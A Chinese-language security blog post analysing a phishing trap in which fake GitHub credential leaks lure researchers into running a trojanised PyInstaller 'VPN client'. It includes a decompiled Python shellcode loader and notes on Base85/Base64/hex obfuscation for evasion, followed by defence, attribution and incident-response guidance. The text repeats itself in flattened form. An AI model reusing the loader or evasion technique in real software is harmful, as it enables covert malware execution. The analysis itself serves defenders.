记一次有趣的溯源
字数 1438 2025-08-29 08:32:24

基于Github钓鱼攻击的溯源分析与防御指南

1. 攻击场景概述

本文档详细分析了一起利用Github信息泄漏进行钓鱼攻击的案例,攻击者通过伪造敏感信息引诱安全研究人员下载并执行恶意程序。以下是攻击流程:

  1. 信息收集阶段:攻击者在Github上传伪造的"敏感信息"(如数据库凭证)
  2. 诱导阶段:设置看似真实的管理后台和VPN客户端下载
  3. 攻击执行:受害者下载并运行伪装成VPN客户端的恶意程序
  4. C2通信:恶意程序从远程服务器获取shellcode并执行

2. 攻击技术细节分析

2.1 初始钓鱼手段

  • 伪造Github仓库:上传包含虚假MySQL凭据的仓库
  • 虚假管理后台
    • 地址:8080端口的web服务
    • 弱口令:admin/admin
    • 可疑的URL结构:admin.php?user=admin&passwd=admin
  • 恶意VPN客户端
    • 伪装成正常VPN软件
    • 实际为Python编译的恶意程序

2.2 恶意程序分析

2.2.1 程序打包方式

  • 使用PyInstaller打包为vpnclient64.exe
  • 反编译步骤:
    1. 使用pyinstxtractor.py解包:
      python3 pyinstxtractor.py vpnclient64.exe
      
    2. 修复pyc文件头(PyInstaller会抹掉前8字节)

2.2.2 恶意代码分析

主恶意文件:easyvpn64.py

关键恶意行为:

  1. 从远程OSS存储获取包含shellcode的图片
  2. 使用多层编码(Base85 → Base64 → Hex)隐藏shellcode
  3. 内存加载并执行shellcode

2.2.3 Shellcode加载器代码

import base64
import ctypes

str = b''
sc_base64 = (base64.a85decode(str)).decode('utf-8')
shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))

ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

技术要点:

  • 使用VirtualAlloc在内存中分配空间
  • RtlMoveMemory将shellcode写入内存
  • CreateThread创建线程执行shellcode
  • 多层编码规避检测

2.3 C2基础设施

  • 回连地址:cs.xxx.cn
  • 使用DNS解析定位攻击者(案例中定位到某宿舍)

3. 防御措施

3.1 针对安全研究人员

  1. 虚拟机隔离

    • 所有下载的可疑文件先在隔离环境中测试
    • 使用快照功能便于恢复
  2. 行为监控

    • 监控程序的网络连接行为
    • 使用Process Monitor等工具监控文件/注册表操作
  3. 逆向分析

    • 对可疑程序进行静态分析
    • 检查程序是否被加壳或混淆
  4. 安全意识

    • 警惕过于"完美"的漏洞信息
    • 验证所有下载链接的真实性

3.2 针对企业防御

  1. 网络监控

    • 监控异常DNS请求
    • 拦截对已知恶意域名的访问
  2. 终端防护

    • 部署EDR解决方案
    • 限制非授权程序的执行
  3. 威胁情报

    • 订阅Github监控服务
    • 建立内部钓鱼案例库

4. 溯源技术要点

  1. IP/DNS溯源

    • nslookup查询域名解析记录
    • 关联IP的WHOIS信息
  2. 代码特征分析

    • 分析恶意代码的编写风格
    • 查找代码中的独特标识
  3. 威胁情报关联

    • 比对已知攻击者TTPs
    • 关联其他平台账号(如Telegram)

5. 应急响应流程

  1. 确认感染

    • 检查异常进程
    • 分析网络连接
  2. 遏制扩散

    • 隔离受影响主机
    • 重置相关凭据
  3. 取证分析

    • 内存取证
    • 日志分析
  4. 修复加固

    • 打补丁
    • 更新安全策略

6. 总结

该案例展示了攻击者如何利用安全研究人员的好奇心和职业习惯进行钓鱼攻击。防御此类攻击需要:

  1. 保持高度警惕性
  2. 建立标准化的验证流程
  3. 使用技术手段进行隔离和分析
  4. 持续学习和分享攻击手法

安全研究人员应时刻牢记:过于顺利的渗透过程往往隐藏着陷阱,验证比兴奋更重要。

基于Github钓鱼攻击的溯源分析与防御指南 1. 攻击场景概述 本文档详细分析了一起利用Github信息泄漏进行钓鱼攻击的案例,攻击者通过伪造敏感信息引诱安全研究人员下载并执行恶意程序。以下是攻击流程: 信息收集阶段 :攻击者在Github上传伪造的"敏感信息"(如数据库凭证) 诱导阶段 :设置看似真实的管理后台和VPN客户端下载 攻击执行 :受害者下载并运行伪装成VPN客户端的恶意程序 C2通信 :恶意程序从远程服务器获取shellcode并执行 2. 攻击技术细节分析 2.1 初始钓鱼手段 伪造Github仓库 :上传包含虚假MySQL凭据的仓库 虚假管理后台 : 地址:8080端口的web服务 弱口令:admin/admin 可疑的URL结构: admin.php?user=admin&passwd=admin 恶意VPN客户端 : 伪装成正常VPN软件 实际为Python编译的恶意程序 2.2 恶意程序分析 2.2.1 程序打包方式 使用PyInstaller打包为 vpnclient64.exe 反编译步骤: 使用 pyinstxtractor.py 解包: 修复pyc文件头(PyInstaller会抹掉前8字节) 2.2.2 恶意代码分析 主恶意文件: easyvpn64.py 关键恶意行为: 从远程OSS存储获取包含shellcode的图片 使用多层编码(Base85 → Base64 → Hex)隐藏shellcode 内存加载并执行shellcode 2.2.3 Shellcode加载器代码 技术要点: 使用 VirtualAlloc 在内存中分配空间 RtlMoveMemory 将shellcode写入内存 CreateThread 创建线程执行shellcode 多层编码规避检测 2.3 C2基础设施 回连地址: cs.xxx.cn 使用DNS解析定位攻击者(案例中定位到某宿舍) 3. 防御措施 3.1 针对安全研究人员 虚拟机隔离 : 所有下载的可疑文件先在隔离环境中测试 使用快照功能便于恢复 行为监控 : 监控程序的网络连接行为 使用Process Monitor等工具监控文件/注册表操作 逆向分析 : 对可疑程序进行静态分析 检查程序是否被加壳或混淆 安全意识 : 警惕过于"完美"的漏洞信息 验证所有下载链接的真实性 3.2 针对企业防御 网络监控 : 监控异常DNS请求 拦截对已知恶意域名的访问 终端防护 : 部署EDR解决方案 限制非授权程序的执行 威胁情报 : 订阅Github监控服务 建立内部钓鱼案例库 4. 溯源技术要点 IP/DNS溯源 : nslookup 查询域名解析记录 关联IP的WHOIS信息 代码特征分析 : 分析恶意代码的编写风格 查找代码中的独特标识 威胁情报关联 : 比对已知攻击者TTPs 关联其他平台账号(如Telegram) 5. 应急响应流程 确认感染 : 检查异常进程 分析网络连接 遏制扩散 : 隔离受影响主机 重置相关凭据 取证分析 : 内存取证 日志分析 修复加固 : 打补丁 更新安全策略 6. 总结 该案例展示了攻击者如何利用安全研究人员的好奇心和职业习惯进行钓鱼攻击。防御此类攻击需要: 保持高度警惕性 建立标准化的验证流程 使用技术手段进行隔离和分析 持续学习和分享攻击手法 安全研究人员应时刻牢记:过于顺利的渗透过程往往隐藏着陷阱,验证比兴奋更重要。